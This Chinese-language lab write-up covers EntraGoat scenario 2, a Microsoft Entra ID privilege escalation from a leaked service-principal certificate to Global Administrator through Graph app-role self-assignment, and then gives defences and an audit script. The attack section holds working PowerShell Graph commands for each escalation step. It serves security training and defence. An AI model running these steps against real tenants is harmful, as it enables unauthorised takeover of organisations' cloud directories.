Graph API权限滥用实战分析:3个步骤实现从证书泄露到全局管理员权限提升

Graph API权限滥用实战分析:3个步骤实现从证书泄露到全局管理员权限提升 Graph API权限滥用实战分析3个步骤实现从证书泄露到全局管理员权限提升【免费下载链接】EntraGoatA deliberately vulnerable Microsoft Entra ID environment. Learn identity security through hands-on, realistic attack challenges.项目地址: https://gitcode.com/GitHub_Trending/en/EntraGoatEntraGoat场景2Graph Me the Crown (and Roles)展示了Microsoft Entra ID环境中一个极具代表性的安全漏洞通过仅应用Graph权限实现从普通用户到全局管理员的完整权限升级路径。这个场景模拟了真实世界中证书泄露和过度权限配置导致的严重安全风险为安全专业人员提供了宝贵的技术洞察和实践经验。技术背景Graph API权限模型的安全隐患Microsoft Graph API是现代Microsoft 365和Entra ID生态系统的核心接口提供了丰富的管理和查询功能。然而其中某些权限组合可能创建危险的权限升级路径。场景2的核心漏洞在于AppRoleAssignment.ReadWrite.All权限的滥用这个权限允许服务主体管理其他服务主体的角色分配。在典型的DevOps环境中证书管理不善和CI/CD管道配置错误常常导致敏感凭证泄露。当开发人员将PFX证书硬编码到脚本或日志输出中攻击者就能利用这些泄露的证书进行身份验证进而滥用过度配置的Graph权限实现权限提升。漏洞原理权限链式攻击的技术细节场景2的技术漏洞基于一个简单的权限链AppRoleAssignment.ReadWrite.All → RoleManagement.ReadWrite.Directory → 全局管理员。这个链条揭示了Microsoft Graph权限模型的几个关键安全问题权限继承与传递机制AppRoleAssignment.ReadWrite.All允许服务主体为其他服务主体分配Graph API权限RoleManagement.ReadWrite.Directory允许管理目录角色分配包括全局管理员角色权限自我授权服务主体可以为自己分配新权限绕过传统审批流程证书身份验证的薄弱环节证书身份验证虽然比密码更安全但当证书管理不当时风险同样严重。场景2中攻击者从泄露的PFX证书开始该证书属于Corporate Finance Analytics服务主体。这个证书包含了足够的信息让攻击者以服务主体身份进行身份验证。攻击演示实战权限升级步骤分析步骤1初始访问与证书验证攻击者首先获得泄露的PFX证书该证书包含在CI/CD日志中意外暴露。通过以下PowerShell代码攻击者可以验证证书并识别相关服务主体# 证书解码与验证 $certBytes [System.Convert]::FromBase64String($certBase64) $cert New-Object System.Security.Cryptography.X509Certificates.X509Certificate2( $certBytes, $certPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable ) # 查找匹配的应用注册 $matchingApp Find-AppRegistrationByThumbprint -Thumbprint $cert.Thumbprint $appId $matchingApp.AppId步骤2权限滥用与自我授权使用证书进行身份验证后攻击者检查服务主体的现有权限发现拥有AppRoleAssignment.ReadWrite.All权限。这个权限成为攻击的关键突破口# 以服务主体身份连接Graph API Connect-MgGraph -ClientId $appId -TenantId $tenantId -Certificate $cert # 获取Graph服务主体以查找可分配的权限 $graphSP Get-MgServicePrincipal -Filter appId eq 00000003-0000-0000-c000-000000000000 # 查找并分配RoleManagement.ReadWrite.Directory权限 $roleManagementRole $graphSP.AppRoles | Where-Object { $_.Value -eq RoleManagement.ReadWrite.Directory } $appRoleAssignmentParams { PrincipalId $spId ResourceId $graphSP.Id AppRoleId $roleManagementRole.Id } New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $spId -BodyParameter $appRoleAssignmentParams步骤3权限刷新与角色分配由于Graph API权限是JWT令牌中的静态声明攻击者需要重新认证以获取新权限。随后利用新获得的RoleManagement.ReadWrite.Directory权限分配全局管理员角色# 重新认证以获取新权限 Disconnect-MgGraph Connect-MgGraph -ClientId $appId -TenantId $tenantId -Certificate $cert # 分配全局管理员角色给服务主体 $globalAdminRoleId 62e90394-69f5-4237-9190-012177145e10 $globalAdminRole Get-MgDirectoryRole -Filter roleTemplateId eq $globalAdminRoleId $roleMemberParams { odata.id https://graph.microsoft.com/v1.0/servicePrincipals/$spId } New-MgDirectoryRoleMemberByRef -DirectoryRoleId $globalAdminRole.Id -BodyParameter $roleMemberParams防御策略Graph API权限安全最佳实践1. 最小权限原则实施组织应严格遵循最小权限原则仅为服务主体授予完成其功能所需的最低权限。对于Graph API权限需要特别关注以下高风险权限AppRoleAssignment.ReadWrite.All仅授予绝对必要的场景RoleManagement.ReadWrite.Directory限制为特权身份管理角色Directory.ReadWrite.All避免过度授予写入权限2. 证书生命周期管理证书管理是防止此类攻击的第一道防线自动化证书轮换实现定期自动轮换减少泄露风险集中式证书存储使用Azure Key Vault等安全存储解决方案访问监控监控证书使用情况检测异常访问模式3. 权限审计与监控定期审计Graph API权限配置是发现过度权限的关键# 审计服务主体权限脚本示例 $servicePrincipals Get-MgServicePrincipal -All foreach ($sp in $servicePrincipals) { $appRoles Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All $highRiskRoles $appRoles | Where-Object { $_.AppRoleId -in ( 06b708a9-e830-4db3-a914-8e69da51d44f, # AppRoleAssignment.ReadWrite.All 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 # RoleManagement.ReadWrite.Directory ) } if ($highRiskRoles) { Write-Host 高风险权限发现: $($sp.DisplayName) -ForegroundColor Red } }4. CI/CD管道安全加固DevOps环境是证书泄露的主要源头凭证扫描在CI/CD管道中实施证书和密钥扫描日志清理确保敏感信息不会出现在日志输出中最小权限服务主体为CI/CD管道创建专用的最小权限服务主体技术架构改进建议权限审批工作流实现权限分配的审批工作流特别是对于高风险权限多因素审批高风险权限需要多个管理员批准时间限制为临时权限设置过期时间使用日志记录所有权限分配和修改操作实时威胁检测基于异常行为模式检测权限滥用权限提升检测监控短时间内权限大幅增加的服务主体异常时间访问检测非工作时间或异常地理位置的访问权限链分析识别可能形成权限升级链的权限组合学习价值与安全启示EntraGoat场景2为安全专业人员提供了多个重要启示1. 权限依赖关系分析理解Graph API权限之间的依赖关系至关重要。某些权限组合可能创建意外的权限升级路径安全团队需要定期分析权限依赖图识别潜在的风险链。2. 服务主体安全治理服务主体作为非人类身份往往被忽视安全治理。组织需要建立服务主体生命周期管理流程包括创建、权限分配、监控和退役的全周期管理。3. 纵深防御策略单一防御措施不足以应对复杂的攻击链。组织需要实施多层次的安全控制网络层控制限制服务主体的网络访问身份层控制实施条件访问策略应用层控制监控Graph API调用模式数据层控制保护敏感目录数据4. 安全意识培训开发人员和运维人员需要了解证书管理和权限配置的最佳实践。定期培训可以帮助减少人为错误导致的配置问题。实战演练与技能提升通过EntraGoat场景2的实战演练安全专业人员可以获得以下技能提升Graph API权限分析深入理解Microsoft Graph权限模型证书身份验证攻击掌握证书泄露的利用技术权限升级链构建学习构建有效的权限升级路径防御策略实施实践权限审计和监控技术总结构建安全的Graph API权限模型Graph API权限滥用攻击揭示了现代云身份安全面临的独特挑战。通过EntraGoat场景2的学习组织可以更好地理解如何实施最小权限原则严格限制服务主体的Graph API权限加强证书管理防止证书泄露和滥用建立监控机制实时检测权限滥用行为定期审计权限发现并修复过度权限配置技术文档docs/challenges.md提供了完整的挑战说明和解决方案指导。攻击脚本源码scenarios/EntraGoat-Scenario2-Setup.ps1展示了具体的攻击实施细节而防御配置solutions/EntraGoat-Scenario2-Solution.ps1则提供了完整的防御思路和实现方案。通过深入理解这些攻击技术和防御策略安全团队可以更好地保护组织的Microsoft Entra ID环境防范类似的权限升级攻击。重要提示请始终在授权的测试环境中使用EntraGoat遵守所有适用的法律和规定。实际生产环境中的安全配置应基于最小权限原则和深度防御策略定期进行安全审计和权限审查。【免费下载链接】EntraGoatA deliberately vulnerable Microsoft Entra ID environment. Learn identity security through hands-on, realistic attack challenges.项目地址: https://gitcode.com/GitHub_Trending/en/EntraGoat创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考